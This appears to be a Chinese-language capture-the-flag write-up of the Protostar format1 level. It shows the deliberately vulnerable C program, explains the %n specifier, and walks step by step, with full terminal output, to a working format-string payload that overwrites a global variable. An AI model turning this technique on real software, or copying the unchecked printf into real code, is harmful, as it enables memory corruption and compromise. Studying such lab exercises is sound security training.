About

This level shows how format strings can be used to modify arbitrary memory locations.
Hints: objdump -t is your friend, and your input string lies far up the stack :)
This level is at /opt/protostar/bin/format1

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
printf(string);

if(target) {
    printf("you have modified the target :)\n");
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}

这题一开始不会做,因为之前写C时比较少研究format的东东,因此也就没接触过%n这个东东。而简单简介下%n吧:
输出格式 %n 可以将所输出字符串的长度值赋绐一个变量, 见下例:
    int slen;
    printf("hello world%n", &slen);
    执行后变量slen被赋值为11。

再结合这道题的printf(string),其实这个跟printf("%s",string)是不一样的,问题就是出自这里,当格式化字符串后再加上%x的话会紧接着读取堆栈里面的内容。
首先要获得target的地址:
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g         O .bss     00000004                            target

然后须在堆栈中找到执行赋值动作的位置,可用%x来填充堆栈的内容:
user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "aaaaaaaa" + "%x."*150+"%x"')
aaaaaaaa804960c.bffff628.8048469.b7fd8304.b7fd7ff4.bffff628.8048435.bffff7f1.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6a8.b7eadc76.2.bffff6d4.bffff6e0.b7fe1848.bffff690.ffffffff.b7ffeff4.804824d.1.bffff690.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6a8.1e6dfbd.2bb2c9ad.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6d4.8048450.8048440.b7ff1040.bffff6cc.b7fff8f8.2.bffff7e7.bffff7f1.0.bffff9be.bffff9cc.bffff9d7.bffff9f7.bffffa0a.bffffa14.bfffff04.bfffff42.bfffff56.bfffff6d.bfffff7e.bfffff86.bfffff96.bfffffa3.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff7cb.1f.bffffff2.f.bffff7db.0.0.0.19000000.5f0430f3.ed617f05.8671f725.69f2e525.363836.0.2e000000.726f662f.3174616d.61616100.
61616161.2e782561.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e

目测大概在128个%x的位置,确认一下:
user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "aaaaaaaa" + "%x."*128+"%x"')
aaaaaaaa804960c.bffff668.8048469.b7fd8304.b7fd7ff4.bffff668.8048435.bffff833.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6e8.b7eadc76.2.bffff714.bffff720.b7fe1848.bffff6d0.ffffffff.b7ffeff4.804824d.1.bffff6d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6e8.fa7bb769.d02f2179.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff714.8048450.8048440.b7ff1040.bffff70c.b7fff8f8.2.bffff829.bffff833.0.bffff9be.bffff9cc.bffff9d7.bffff9f7.bffffa0a.bffffa14.bfffff04.bfffff42.bfffff56.bfffff6d.bfffff7e.bfffff86.bfffff96.bfffffa3.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff80b.1f.bffffff2.f.bffff81b.0.0.0.c000000.ab329b49.980b02cb.973cca28.695fb6c8.363836.0.0.662f2e00.616d726f.61003174.61616161

我们把前4字节换成target的地址:
user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print " \x38\x96\x04\x08aaaa" + "%x."*128+"%x"')
8aaaa804960c.bffff668.8048469.b7fd8304.b7fd7ff4.bffff668.8048435.bffff833.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6e8.b7eadc76.2.bffff714.bffff720.b7fe1848.bffff6d0.ffffffff.b7ffeff4.804824d.1.bffff6d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6e8.6a958dd0.40c11bc0.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff714.8048450.8048440.b7ff1040.bffff70c.b7fff8f8.2.bffff829.bffff833.0.bffff9be.bffff9cc.bffff9d7.bffff9f7.bffffa0a.bffffa14.bfffff04.bfffff42.bfffff56.bfffff6d.bfffff7e.bfffff86.bfffff96.bfffffa3.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff80b.1f.bffffff2.f.bffff81b.0.0.0.86000000.b6399ac7.1f57cabc.3bd68bc6.69c7f777.363836.0.0.662f2e00.616d726f.38003174.61080496
发现有一个字节的错位,须调整一下:
user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "a\x38\x96\x04\x08aaa" + "%x."*128+"%x"')
a8aaa804960c.bffff668.8048469.b7fd8304.b7fd7ff4.bffff668.8048435.bffff833.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6e8.b7eadc76.2.bffff714.bffff720.b7fe1848.bffff6d0.ffffffff.b7ffeff4.804824d.1.bffff6d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6e8.fae225a2.d0b6b3b2.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff714.8048450.8048440.b7ff1040.bffff70c.b7fff8f8.2.bffff829.bffff833.0.bffff9be.bffff9cc.bffff9d7.bffff9f7.bffffa0a.bffffa14.bfffff04.bfffff42.bfffff56.bfffff6d.bfffff7e.bfffff86.bfffff96.bfffffa3.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff80b.1f.bffffff2.f.bffff81b.0.0.0.40000000.628ccb6c.1f6e8287.90ab45aa.6922104d.363836.0.0.662f2e00.616d726f.61003174.8049638

好了,定位成功了把最后的%x换成%x即可:
user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "a\x38\x96\x04\x08aaa" + "%x."*128+"%n"')
a8aaa804960c.bffff668.8048469.b7fd8304.b7fd7ff4.bffff668.8048435.bffff833.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6e8.b7eadc76.2.bffff714.bffff720.b7fe1848.bffff6d0.ffffffff.b7ffeff4.804824d.1.bffff6d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6e8.2f09ffa.28a409ea.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff714.8048450.8048440.b7ff1040.bffff70c.b7fff8f8.2.bffff829.bffff833.0.bffff9be.bffff9cc.bffff9d7.bffff9f7.bffffa0a.bffffa14.bfffff04.bfffff42.bfffff56.bfffff6d.bfffff7e.bfffff86.bfffff96.bfffffa3.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff80b.1f.bffffff2.f.bffff81b.0.0.0.89000000.3f3cec1e.c342fe8e.7223fa6a.699b71e8.363836.0.0.662f2e00.616d726f.61003174.you have modified the target :)